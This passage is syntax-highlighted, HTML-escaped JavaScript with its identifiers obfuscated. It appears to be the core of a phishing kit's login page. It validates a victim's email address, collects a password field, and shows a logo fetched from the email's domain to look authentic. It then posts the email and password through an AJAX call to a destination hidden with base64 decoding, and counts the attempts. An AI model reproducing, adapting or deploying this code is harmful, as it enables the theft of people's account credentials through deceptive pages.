class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4f4aee&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4b3e69&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x11d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x1c24be&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4d3692&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4f4aee&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x11d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4f4aee&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x138a31&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4d3692&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x101d60&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4d3692&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x120&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x402362&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/^&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;a-zA-Z0-9_&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.\-])&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\@(([&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;a-zA-Z0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\-])&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.)&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;a-zA-Z0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]{2,4})&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;+$/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x2bd238&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#error&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x109&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[];&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x402362&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4b3e69&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x109&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;html&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x11e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[];&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x106&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x11b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))){}&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x106&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]({&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;opacity&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x109&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)},&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x3e8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#div1&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]({&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;opacity&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x103&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)},&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#logo&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]({&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;opacity&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;hide&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#ai2&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4b3e69&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x121&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x117&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x10c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;attr&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xfa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4f4aee&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#domain&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x101d60&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[];&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x2b4ff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x109&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x110&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x2bd238&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x11c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)],&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[];&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x24c4e8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x24c4e8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x10d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]({&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;dataType&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x115&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;atob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x210725&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x108&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:{&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;ai&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x2bd238&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;pr&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x2b4ff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;beforeSend&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x1f826c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_0x66df5e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x4c17f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#submit-btn&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x66df5e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x66df5e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));},&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0x13e87b&lt;/span&gt;&lt;span 